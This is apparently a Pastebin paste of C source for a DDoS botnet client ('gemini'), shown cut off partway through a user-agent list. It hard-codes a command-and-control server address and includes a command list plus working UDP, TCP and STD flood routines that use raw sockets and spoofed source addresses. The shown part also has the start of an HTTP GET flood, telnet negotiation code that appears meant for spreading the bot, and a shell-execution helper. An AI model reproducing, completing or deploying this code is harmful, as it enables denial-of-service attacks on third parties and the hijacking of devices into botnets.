Advertisement
uzycie

gemini client

May 19th, 2017
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.80 KB | None | 0 0
  1. // \│/ ┌─┐┌─┐┌┬┐┬┌┐┌┬ \│/
  2. // ─ ─ │ ┬├┤ ││││││││ ─ ─
  3. // /│\ └─┘└─┘┴ ┴┴┘└┘┴ /│\
  4.  
  5. // ENTITY
  6.  
  7. // [ Serverside Commands ]
  8. // .logout 'Logout of your account
  9. // 'Sends a udp based flood to specified target, with a fixed packet size and interval
  10. // 'Sends a tcp based flood to specified target, with persistant tcp socket for buffer spam
  11. // 'Closes the connection socket to the botnet host, disconnects the bot from host
  12.  
  13. // [ Clientside Commands ]
  14. // !* TCP <IP> <PORT> <SECONDS> <SUBNET> <METHOD> <PACKETSIZE> <INTERVAL> 'Sends a tcp based flood to specified target, methods include ALL,SYN,ACK,FIN,RST, and PSH
  15. // !* UDP <IP> <PORT> <SECONDS> <SUBNET> <PACKETSIZE> <INTERVAL> 'Sends a udp based flood to specified target, with a fixed packet size and interval
  16. // !* STD <IP> <PORT> <SECONDS> 'Sends a tcp based flood to specified target, with persistant tcp socket for buffer spam
  17. // !* HTTP <URL> <SECONDS> 'Sends a http get flood to specified target, using an array of browser useragents
  18. // !* BOTKILL 'Closes the connection socket to the botnet host, disconnects the bot from host
  19. // !* PING 'Perform a ping/pong test to update the bot count with active bots
  20.  
  21.  
  22. /*\│/ ┌─┐┌─┐┌┐┌┌┐┌┌─┐┌─┐┌┬┐┬┌─┐┌┐┌ ┌─┐┌─┐┌┐┌┌─┐┬┌─┐ \│/
  23. ─ ─ │ │ │││││││├┤ │ │ ││ ││││ │ │ ││││├┤ ││ ┬ ─ ─
  24. /│\ └─┘└─┘┘└┘┘└┘└─┘└─┘ ┴ ┴└─┘┘└┘ └─┘└─┘┘└┘└ ┴└─┘ /│\*/
  25. unsigned char *commServer[] = { "23.254.203.211:666" };
  26.  
  27.  
  28. /*\│/ ┬┌┐┌┌┬┐┌─┐┬─┐┌┐┌┌─┐┬ ┌┬┐┌─┐┌─┐┌─┐┌┐┌┌─┐┌┬┐┌─┐┌┐┌┌─┐┬┌─┐┌─┐ \│/
  29. ─ ─ ││││ │ ├┤ ├┬┘│││├─┤│ ││├┤ ├─┘├┤ ││││ ││├┤ ││││ │├┤ └─┐ ─ ─
  30. /│\ ┴┘└┘ ┴ └─┘┴└─┘└┘┴ ┴┴─┘ ─┴┘└─┘┴ └─┘┘└┘└─┘─┴┘└─┘┘└┘└─┘┴└─┘└─┘ /│\*/
  31. #include <stdlib.h>
  32. #include <stdarg.h>
  33. #include <stdio.h>
  34. #include <sys/socket.h>
  35. #include <sys/types.h>
  36. #include <netinet/in.h>
  37. #include <arpa/inet.h>
  38. #include <netdb.h>
  39. #include <signal.h>
  40. #include <strings.h>
  41. #include <string.h>
  42. #include <sys/utsname.h>
  43. #include <unistd.h>
  44. #include <fcntl.h>
  45. #include <errno.h>
  46. #include <netinet/ip.h>
  47. #include <netinet/udp.h>
  48. #include <netinet/tcp.h>
  49. #include <sys/wait.h>
  50. #include <sys/ioctl.h>
  51. #include <net/if.h>
  52.  
  53. #define PR_SET_NAME 15
  54. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  55. #define PAD_RIGHT 1
  56. #define PAD_ZERO 2
  57. #define PRINT_BUF_LEN 12
  58. #define CMD_IAC 255
  59. #define CMD_WILL 251
  60. #define CMD_WONT 252
  61. #define CMD_DO 253
  62. #define CMD_DONT 254
  63. #define OPT_SGA 3
  64. #define PHI 0x9e3779b9
  65.  
  66. static uint32_t Q[4096], c = 362436;
  67.  
  68. int initConnection();
  69. int getBogos(unsigned char *bogomips);
  70. int getCores();
  71. int getCountry(unsigned char *buf, int bufsize);
  72. void makeRandomStr(unsigned char *buf, int length);
  73. int sockprintf(int sock, char *formatStr, ...);
  74. char *inet_ntoa(struct in_addr in);
  75. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  76. uint32_t *pids;
  77. uint32_t scanPid;
  78. uint64_t numpids = 0;
  79. struct in_addr ourIP;
  80. unsigned char macAddress[6] = {0};
  81.  
  82. void init_rand(uint32_t x) {
  83. int i;
  84. Q[0] = x;
  85. Q[1] = x + PHI;
  86. Q[2] = x + PHI + PHI;
  87. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  88. }
  89. uint32_t rand_cmwc(void) {
  90. uint64_t t, a = 18782LL;
  91. static uint32_t i = 4095;
  92. uint32_t x, r = 0xfffffffe;
  93. i = (i + 1) & 4095;
  94. t = a * Q[i] + c;
  95. c = (uint32_t)(t >> 32);
  96. x = t + c;
  97. if (x < c) {
  98. x++;
  99. c++;
  100. }
  101. return (Q[i] = r - x);
  102. }
  103. void trim(char *str) {
  104. int i;
  105. int begin = 0;
  106. int end = strlen(str) - 1;
  107. while (isspace(str[begin])) begin++;
  108. while ((end >= begin) && isspace(str[end])) end--;
  109. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  110. str[i - begin] = '\0';
  111. }
  112. static void printchar(unsigned char **str, int c) {
  113. if (str) {
  114. **str = c;
  115. ++(*str);
  116. }
  117. else (void)write(1, &c, 1);
  118. }
  119. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  120. register int pc = 0, padchar = ' ';
  121. if (width > 0) {
  122. register int len = 0;
  123. register const unsigned char *ptr;
  124. for (ptr = string; *ptr; ++ptr) ++len;
  125. if (len >= width) width = 0;
  126. else width -= len;
  127. if (pad & PAD_ZERO) padchar = '0';
  128. }
  129. if (!(pad & PAD_RIGHT)) {
  130. for ( ; width > 0; --width) {
  131. printchar (out, padchar);
  132. ++pc;
  133. }
  134. }
  135. for ( ; *string ; ++string) {
  136. printchar (out, *string);
  137. ++pc;
  138. }
  139. for ( ; width > 0; --width) {
  140. printchar (out, padchar);
  141. ++pc;
  142. }
  143. return pc;
  144. }
  145. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  146. unsigned char print_buf[PRINT_BUF_LEN];
  147. register unsigned char *s;
  148. register int t, neg = 0, pc = 0;
  149. register unsigned int u = i;
  150.  
  151. if (i == 0) {
  152. print_buf[0] = '0';
  153. print_buf[1] = '\0';
  154. return prints (out, print_buf, width, pad);
  155. }
  156.  
  157. if (sg && b == 10 && i < 0) {
  158. neg = 1;
  159. u = -i;
  160. }
  161.  
  162. s = print_buf + PRINT_BUF_LEN-1;
  163. *s = '\0';
  164.  
  165. while (u) {
  166. t = u % b;
  167. if( t >= 10 )
  168. t += letbase - '0' - 10;
  169. *--s = t + '0';
  170. u /= b;
  171. }
  172.  
  173. if (neg) {
  174. if( width && (pad & PAD_ZERO) ) {
  175. printchar (out, '-');
  176. ++pc;
  177. --width;
  178. }
  179. else {
  180. *--s = '-';
  181. }
  182. }
  183. return pc + prints (out, s, width, pad);
  184. }
  185. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  186. register int width, pad;
  187. register int pc = 0;
  188. unsigned char scr[2];
  189.  
  190. for (; *format != 0; ++format) {
  191. if (*format == '%') {
  192. ++format;
  193. width = pad = 0;
  194. if (*format == '\0') break;
  195. if (*format == '%') goto out;
  196. if (*format == '-') {
  197. ++format;
  198. pad = PAD_RIGHT;
  199. }
  200. while (*format == '0') {
  201. ++format;
  202. pad |= PAD_ZERO;
  203. }
  204. for ( ; *format >= '0' && *format <= '9'; ++format) {
  205. width *= 10;
  206. width += *format - '0';
  207. }
  208. if( *format == 's' ) {
  209. register char *s = (char *)va_arg( args, int );
  210. pc += prints (out, s?s:"(null)", width, pad);
  211. continue;
  212. }
  213. if( *format == 'd' ) {
  214. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  215. continue;
  216. }
  217. if( *format == 'x' ) {
  218. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  219. continue;
  220. }
  221. if( *format == 'X' ) {
  222. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  223. continue;
  224. }
  225. if( *format == 'u' ) {
  226. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  227. continue;
  228. }
  229. if( *format == 'c' ) {
  230. scr[0] = (unsigned char)va_arg( args, int );
  231. scr[1] = '\0';
  232. pc += prints (out, scr, width, pad);
  233. continue;
  234. }
  235. }
  236. else {
  237. out:
  238. printchar (out, *format);
  239. ++pc;
  240. }
  241. }
  242. if (out) **out = '\0';
  243. va_end( args );
  244. return pc;
  245. }
  246. int zprintf(const unsigned char *format, ...) {
  247. va_list args;
  248. va_start( args, format );
  249. return print( 0, format, args );
  250. }
  251. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  252. va_list args;
  253. va_start( args, format );
  254. return print( &out, format, args );
  255. }
  256. int sockprintf(int sock, char *formatStr, ...) {
  257. unsigned char *textBuffer = malloc(2048);
  258. memset(textBuffer, 0, 2048);
  259. char *orig = textBuffer;
  260. va_list args;
  261. va_start(args, formatStr);
  262. print(&textBuffer, formatStr, args);
  263. va_end(args);
  264. orig[strlen(orig)] = '\n';
  265. zprintf("buf: %s\n", orig);
  266. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  267. free(orig);
  268. return q;
  269. }
  270. static int *fdopen_pids;
  271. int fdpopen(unsigned char *program, register unsigned char *type) {
  272. register int iop;
  273. int pdes[2], fds, pid;
  274.  
  275. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  276.  
  277. if (pipe(pdes) < 0) return -1;
  278. if (fdopen_pids == NULL) {
  279. if ((fds = getdtablesize()) <= 0) return -1;
  280. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  281. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  282. }
  283.  
  284. switch (pid = vfork()) {
  285. case -1:
  286. close(pdes[0]);
  287. close(pdes[1]);
  288. return -1;
  289. case 0:
  290. if (*type == 'r') {
  291. if (pdes[1] != 1) {
  292. dup2(pdes[1], 1);
  293. close(pdes[1]);
  294. }
  295. close(pdes[0]);
  296. }
  297. else {
  298. if (pdes[0] != 0) {
  299. (void) dup2(pdes[0], 0);
  300. (void) close(pdes[0]);
  301. }
  302. (void) close(pdes[1]);
  303. }
  304. execl("/bin/sh", "sh", "-c", program, NULL);
  305. _exit(127);
  306. }
  307. if (*type == 'r') {
  308. iop = pdes[0];
  309. (void) close(pdes[1]);
  310. }
  311. else {
  312. iop = pdes[1];
  313. (void) close(pdes[0]);
  314. }
  315. fdopen_pids[iop] = pid;
  316. return (iop);
  317. }
  318. int fdpclose(int iop) {
  319. register int fdes;
  320. sigset_t omask, nmask;
  321. int pstat;
  322. register int pid;
  323. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  324. (void) close(iop);
  325. sigemptyset(&nmask);
  326. sigaddset(&nmask, SIGINT);
  327. sigaddset(&nmask, SIGQUIT);
  328. sigaddset(&nmask, SIGHUP);
  329. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  330. do {
  331. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  332. }
  333. while (pid == -1 && errno == EINTR);
  334. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  335. fdopen_pids[fdes] = 0;
  336. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  337. }
  338. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) {
  339. int got = 1, total = 0;
  340. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  341. return got == 0 ? NULL : buffer;
  342. }
  343. static const long hextable[] = {
  344. [0 ... 255] = -1,
  345. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  346. ['A'] = 10, 11, 12, 13, 14, 15,
  347. ['a'] = 10, 11, 12, 13, 14, 15
  348. };
  349. long parseHex(unsigned char *hex) {
  350. long ret = 0;
  351. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  352. return ret;
  353. }
  354. int wildString(const unsigned char* pattern, const unsigned char* string) {
  355. switch(*pattern) {
  356. case '\0': return *string;
  357. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  358. case '?': return !(*string && !wildString(pattern+1, string+1));
  359. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  360. }
  361. }
  362. int getHost(unsigned char *toGet, struct in_addr *i) {
  363. struct hostent *h;
  364. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  365. return 0;
  366. }
  367. void uppercase(unsigned char *str) { while(*str) { *str = toupper(*str); str++; } }
  368. int getBogos(unsigned char *bogomips) {
  369. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  370. char linebuf[4096];
  371. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  372. uppercase(linebuf);
  373. if(strstr(linebuf, "BOGOMIPS") == linebuf) {
  374. unsigned char *pos = linebuf + 8;
  375. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  376. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  377. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  378. strcpy(bogomips, pos);
  379. close(cmdline);
  380. return 0;
  381. }
  382. memset(linebuf, 0, 4096);
  383. }
  384. close(cmdline);
  385. return 1;
  386. }
  387. int getCores() {
  388. int totalcores = 0;
  389. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  390. char linebuf[4096];
  391. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  392. uppercase(linebuf);
  393. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  394. memset(linebuf, 0, 4096);
  395. }
  396. close(cmdline);
  397. return totalcores;
  398. }
  399. void makeRandomStr(unsigned char *buf, int length) {
  400. int i = 0;
  401. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  402. }
  403. int recvLine(int socket, unsigned char *buf, int bufsize) {
  404. memset(buf, 0, bufsize);
  405.  
  406. fd_set myset;
  407. struct timeval tv;
  408. tv.tv_sec = 30;
  409. tv.tv_usec = 0;
  410. FD_ZERO(&myset);
  411. FD_SET(socket, &myset);
  412. int selectRtn, retryCount;
  413. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  414. while(retryCount < 10) {
  415. sockprintf(mainCommSock, "PING");
  416. tv.tv_sec = 30;
  417. tv.tv_usec = 0;
  418. FD_ZERO(&myset);
  419. FD_SET(socket, &myset);
  420. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  421. retryCount++;
  422. continue;
  423. }
  424. break;
  425. }
  426. }
  427. unsigned char tmpchr;
  428. unsigned char *cp;
  429. int count = 0;
  430.  
  431. cp = buf;
  432. while(bufsize-- > 1) {
  433. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  434. *cp = 0x00;
  435. return -1;
  436. }
  437. *cp++ = tmpchr;
  438. if(tmpchr == '\n') break;
  439. count++;
  440. }
  441. *cp = 0x00;
  442. return count;
  443. }
  444. int connectTimeout(int fd, char *host, int port, int timeout) {
  445. struct sockaddr_in dest_addr;
  446. fd_set myset;
  447. struct timeval tv;
  448. socklen_t lon;
  449.  
  450. int valopt;
  451. long arg = fcntl(fd, F_GETFL, NULL);
  452. arg |= O_NONBLOCK;
  453. fcntl(fd, F_SETFL, arg);
  454.  
  455. dest_addr.sin_family = AF_INET;
  456. dest_addr.sin_port = htons(port);
  457. if(getHost(host, &dest_addr.sin_addr)) return 0;
  458. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  459. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  460. if (res < 0) {
  461. if (errno == EINPROGRESS) {
  462. tv.tv_sec = timeout;
  463. tv.tv_usec = 0;
  464. FD_ZERO(&myset);
  465. FD_SET(fd, &myset);
  466. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  467. lon = sizeof(int);
  468. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  469. if (valopt) return 0;
  470. }
  471. else return 0;
  472. }
  473. else return 0;
  474. }
  475. arg = fcntl(fd, F_GETFL, NULL);
  476. arg &= (~O_NONBLOCK);
  477. fcntl(fd, F_SETFL, arg);
  478. return 1;
  479. }
  480. int listFork() {
  481. uint32_t parent, *newpids, i;
  482. parent = fork();
  483. if (parent <= 0) return parent;
  484. numpids++;
  485. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  486. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  487. newpids[numpids - 1] = parent;
  488. free(pids);
  489. pids = newpids;
  490. return parent;
  491. }
  492. int negotiate(int sock, unsigned char *buf, int len) {
  493. unsigned char c;
  494. switch (buf[1]) {
  495. case CMD_IAC: return 0;
  496. case CMD_WILL:
  497. case CMD_WONT:
  498. case CMD_DO:
  499. case CMD_DONT:
  500. c = CMD_IAC;
  501. send(sock, &c, 1, MSG_NOSIGNAL);
  502. if (CMD_WONT == buf[1]) c = CMD_DONT;
  503. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  504. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  505. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  506. send(sock, &c, 1, MSG_NOSIGNAL);
  507. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  508. break;
  509. default:
  510. break;
  511. }
  512. return 0;
  513. }
  514. int matchPrompt(char *bufStr) {
  515. char *prompts = ":>%$#\0";
  516. int bufLen = strlen(bufStr);
  517. int i, q = 0;
  518. for(i = 0; i < strlen(prompts); i++) {
  519. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  520. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  521. }
  522. return 0;
  523. }
  524. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) {
  525. int bufferUsed = initialIndex, got = 0, found = 0;
  526. fd_set myset;
  527. struct timeval tv;
  528. tv.tv_sec = timeout;
  529. tv.tv_usec = timeoutusec;
  530. unsigned char *initialRead = NULL;
  531.  
  532. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) {
  533. FD_ZERO(&myset);
  534. FD_SET(fd, &myset);
  535. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  536. initialRead = buffer + bufferUsed;
  537. got = recv(fd, initialRead, 1, 0);
  538. if(got == -1 || got == 0) return 0;
  539. bufferUsed += got;
  540. if(*initialRead == 0xFF) {
  541. got = recv(fd, initialRead + 1, 2, 0);
  542. if(got == -1 || got == 0) return 0;
  543. bufferUsed += got;
  544. if(!negotiate(fd, initialRead, 3)) return 0;
  545. }
  546. else {
  547. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  548. }
  549. }
  550. if(found) return 1;
  551. return 0;
  552. }
  553. in_addr_t getRandomIP(in_addr_t netmask) {
  554. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  555. return tmp ^ ( rand_cmwc() & ~netmask);
  556. }
  557. unsigned short csum (unsigned short *buf, int count) {
  558. register uint64_t sum = 0;
  559. while( count > 1 ) { sum += *buf++; count -= 2; }
  560. if(count > 0) { sum += *(unsigned char *)buf; }
  561. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  562. return (uint16_t)(~sum);
  563. }
  564. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  565. struct tcp_pseudo {
  566. unsigned long src_addr;
  567. unsigned long dst_addr;
  568. unsigned char zero;
  569. unsigned char proto;
  570. unsigned short length;
  571. }
  572. pseudohead;
  573. unsigned short total_len = iph->tot_len;
  574. pseudohead.src_addr=iph->saddr;
  575. pseudohead.dst_addr=iph->daddr;
  576. pseudohead.zero=0;
  577. pseudohead.proto=IPPROTO_TCP;
  578. pseudohead.length=htons(sizeof(struct tcphdr));
  579. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  580. unsigned short *tcp = malloc(totaltcp_len);
  581. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  582. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  583. unsigned short output = csum(tcp,totaltcp_len);
  584. free(tcp);
  585. return output;
  586. }
  587. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  588. iph->ihl = 5;
  589. iph->version = 4;
  590. iph->tos = 0;
  591. iph->tot_len = sizeof(struct iphdr) + packetSize;
  592. iph->id = rand_cmwc();
  593. iph->frag_off = 0;
  594. iph->ttl = MAXTTL;
  595. iph->protocol = protocol;
  596. iph->check = 0;
  597. iph->saddr = source;
  598. iph->daddr = dest;
  599. }
  600. int sclose(int fd) {
  601. if(3 > fd) return 1;
  602. close(fd);
  603. return 0;
  604. }
  605.  
  606.  
  607. /*\│/ ┌┬┐┌┬┐┌─┐┌─┐ ┌┬┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐┌─┐ \│/
  608. ─ ─ ││ │││ │└─┐ │││├┤ │ ├─┤│ │ ││└─┐ ─ ─
  609. /│\ ─┴┘─┴┘└─┘└─┘ ┴ ┴└─┘ ┴ ┴ ┴└─┘─┴┘└─┘ /│\*/
  610.  
  611. /* #### [ UDP FLOOD ] #### */
  612. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval) {
  613. struct sockaddr_in dest_addr;
  614. dest_addr.sin_family = AF_INET;
  615. if(port == 0) dest_addr.sin_port = rand_cmwc();
  616. else dest_addr.sin_port = htons(port);
  617. if(getHost(target, &dest_addr.sin_addr)) return;
  618. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  619. register unsigned int pollRegister;
  620. pollRegister = pollinterval;
  621. if(spoofit == 32) {
  622. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  623. if(!sockfd) {
  624. sockprintf(mainCommSock, "Failed opening raw socket.");
  625. return;
  626. }
  627. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  628. if(buf == NULL) return;
  629. memset(buf, 0, packetsize + 1);
  630. makeRandomStr(buf, packetsize);
  631. int end = time(NULL) + timeEnd;
  632. register unsigned int i = 0;
  633. while(1) {
  634. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  635. if(i == pollRegister) {
  636. if(port == 0) dest_addr.sin_port = rand_cmwc();
  637. if(time(NULL) > end) break;
  638. i = 0;
  639. continue;
  640. }
  641. i++;
  642. }
  643. }
  644. else {
  645. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  646. if(!sockfd) {
  647. sockprintf(mainCommSock, "Failed opening raw socket.");
  648. return;
  649. }
  650. int tmp = 1;
  651. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  652. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  653. return;
  654. }
  655.  
  656. int counter = 50;
  657. while(counter--) {
  658. srand(time(NULL) ^ rand_cmwc());
  659. init_rand(rand());
  660. }
  661.  
  662. in_addr_t netmask;
  663.  
  664. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  665. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  666.  
  667. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  668. struct iphdr *iph = (struct iphdr *)packet;
  669. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  670. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  671. udph->len = htons(sizeof(struct udphdr) + packetsize);
  672. udph->source = rand_cmwc();
  673. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  674. udph->check = 0;
  675.  
  676. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  677. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  678. int end = time(NULL) + timeEnd;
  679. register unsigned int i = 0;
  680. while(1) {
  681. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  682. udph->source = rand_cmwc();
  683. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  684. iph->id = rand_cmwc();
  685. iph->saddr = htonl( getRandomIP(netmask) );
  686. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  687. if(i == pollRegister) {
  688. if(time(NULL) > end) break;
  689. i = 0;
  690. continue;
  691. }
  692. i++;
  693. }
  694. }
  695. }
  696.  
  697. /* #### [ TCP FLOOD ] #### */
  698. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {
  699. register unsigned int pollRegister;
  700. pollRegister = pollinterval;
  701. struct sockaddr_in dest_addr;
  702.  
  703. dest_addr.sin_family = AF_INET;
  704. if(port == 0) dest_addr.sin_port = rand_cmwc();
  705. else dest_addr.sin_port = htons(port);
  706. if(getHost(target, &dest_addr.sin_addr)) return;
  707. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  708. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  709. if(!sockfd) {
  710. sockprintf(mainCommSock, "Failed opening raw socket.");
  711. return;
  712. }
  713.  
  714. int tmp = 1;
  715. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  716. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  717. return;
  718. }
  719.  
  720. in_addr_t netmask;
  721.  
  722. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  723. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  724.  
  725. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  726. struct iphdr *iph = (struct iphdr *)packet;
  727. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  728.  
  729. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  730.  
  731. tcph->source = rand_cmwc();
  732. tcph->seq = rand_cmwc();
  733. tcph->ack_seq = 0;
  734. tcph->doff = 5;
  735.  
  736. if(!strcmp(flags, "ALL")) {
  737. tcph->syn = 1;
  738. tcph->rst = 1;
  739. tcph->fin = 1;
  740. tcph->ack = 1;
  741. tcph->psh = 1;
  742. }
  743. else {
  744. unsigned char *pch = strtok(flags, ",");
  745. while(pch) {
  746. if(!strcmp(pch, "SYN")) {
  747. tcph->syn = 1;
  748. }
  749. else if(!strcmp(pch, "RST")) {
  750. tcph->rst = 1;
  751. }
  752. else if(!strcmp(pch, "FIN")) {
  753. tcph->fin = 1;
  754. }
  755. else if(!strcmp(pch, "ACK")) {
  756. tcph->ack = 1;
  757. }
  758. else if(!strcmp(pch, "PSH")) {
  759. tcph->psh = 1;
  760. }
  761. else {
  762. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  763. }
  764. pch = strtok(NULL, ",");
  765. }
  766. }
  767.  
  768. tcph->window = rand_cmwc();
  769. tcph->check = 0;
  770. tcph->urg_ptr = 0;
  771. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  772. tcph->check = tcpcsum(iph, tcph);
  773. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  774.  
  775. int end = time(NULL) + timeEnd;
  776. register unsigned int i = 0;
  777. while(1) {
  778. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  779.  
  780. iph->saddr = htonl( getRandomIP(netmask) );
  781. iph->id = rand_cmwc();
  782. tcph->seq = rand_cmwc();
  783. tcph->source = rand_cmwc();
  784. tcph->check = 0;
  785. tcph->check = tcpcsum(iph, tcph);
  786. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  787. if(i == pollRegister) {
  788. if(time(NULL) > end) break;
  789. i = 0;
  790. continue;
  791. }
  792. i++;
  793. }
  794. }
  795.  
  796. /* #### [ STD FLOOD ] #### */
  797. void sendSTD(unsigned char *ip, int port, int secs) {
  798. int iSTD_Sock;
  799. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  800. time_t start = time(NULL);
  801. struct sockaddr_in sin;
  802. struct hostent *hp;
  803. hp = gethostbyname(ip);
  804. bzero((char*) &sin,sizeof(sin));
  805. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  806. sin.sin_family = hp->h_addrtype;
  807. sin.sin_port = port;
  808. unsigned int a = 0;
  809. while(1) {
  810. if (a >= 50) {
  811. send(iSTD_Sock, "std", 50, 0);
  812. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  813. if (time(NULL) >= start + secs) {
  814. close(iSTD_Sock);
  815. _exit(0);
  816. }
  817. a = 0;
  818. }
  819. a++;
  820. }
  821. }
  822.  
  823. /* #### [ HTTP GET FLOOD ] #### */
  824. char *useragents[] = {
  825. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  826. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
